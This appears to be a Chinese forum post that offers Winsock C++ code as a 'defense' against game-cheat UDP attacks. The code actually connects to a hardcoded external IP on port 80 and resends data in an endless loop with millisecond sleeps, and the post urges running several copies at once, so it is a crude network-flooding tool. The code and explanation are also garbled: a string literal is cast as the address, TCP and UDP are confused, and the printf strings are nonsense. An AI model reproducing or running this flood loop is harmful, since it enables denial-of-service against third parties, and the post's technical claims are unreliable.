反外挂 DDos UDP 攻击只需客户端 开着游戏客户端
#include<WINSOCK2.H> #include<iostream> #include<string> using namespace std; #include<stdlib.h> #define BUF_SIZE 1377 #pragma comment(lib,"WS2_32.lib") int main() { WSADATA wsd; SOCKET sHost; SOCKADDR_IN servAddr;//服务器地址 int retVal;//调用Socket函数的返回值 char buf[BUF_SIZE]; //初始化Socket环境 if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) { printf("WSAStartup failed!\n"); return 1; } //创建监听的Socket sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (INVALID_SOCKET == sHost) { printf("socket failed!\n"); WSACleanup(); return -1; } //设置服务器Socket地址 servAddr.sin_family = AF_INET; servAddr.sin_addr.S_un.S_addr = (ULONG)"103.84.110.229"; //在实际应用中,建议将服务器的IP地址和端口号保存在配置文件中 servAddr.sin_port = htons(80); //计算地址的长度 int sServerAddlen = sizeof(servAddr); //链接服务器 retVal = connect(sHost, (LPSOCKADDR)&servAddr, sizeof(servAddr)); apple: //向服务器发送字符串,并显示反馈信息 printf("input a string to send:%/0/47/3/3/6;input a st-=177/0;ring to send:%/0/47/3/3/6;input a string to send:%/0/47/3/3/6;input a string to send:%/0/47/3/3/6;input a string to send:%/0/47/3/3/6;input a string to send:%/0/47/3/3/6;"); std::string str; //接收输入的数据 std::getline(std::cin, str); //将用户输入的数据复制到buf中 ZeroMemory(buf, BUF_SIZE); strcpy_s(buf, str.c_str()); //向服务器发送数据 retVal = send(sHost, buf, strlen(buf), 0); retVal = send(sHost, buf, strlen(buf), 0); retVal = send(sHost, buf, strlen(buf), 0); retVal = send(sHost, buf, strlen(buf), 0); retVal = send(sHost, buf, strlen(buf), 0); Sleep(13); retVal = send(sHost, buf, strlen(buf), 0); retVal = send(sHost, buf, strlen(buf), 0); retVal = send(sHost, buf, strlen(buf), 0); Sleep(17); goto apple; //if (SOCKET_ERROR == retVal) { // printf("send failed!\n"); // closesocket(sHost); // WSACleanup(); // return -1; //} ////接收服务器回传的数据 //retVal = recv(sHost, buf, sizeof(buf) + 1, 0); //printf("Recv From Server : %s\n", buf); //if (strcmp(buf, "quit") == 0) { // printf("quit!\n"); // break; //} }
原理就是UDP外挂重复向本地客户端发送减法算式字符 还有 倍数算式字符 还加了一堆阻塞网络的随机字母是写死的随机字母
导致本地客户端计算被敌人攻击伤害大量提高,连续UDP 攻击 ,发送方 Sleep 时间短频率太高还有一些特制的简单瞎写的码
用这代码防御 编译生成后 奥特加 F5 独立运行
下次开机 找EXE 运行,可以同时运行多个,开着游戏客户端运行,对方攻击的是游戏客户端,可以开启后在任务管理器中查看网络频谱
代码中不接受对方传来的 错误,防止自己的 return 结束自己的本地防御代码
for 循环内的 break return continiu是有特殊意义的,查一下,非常重要这个 while 双层 for 都得用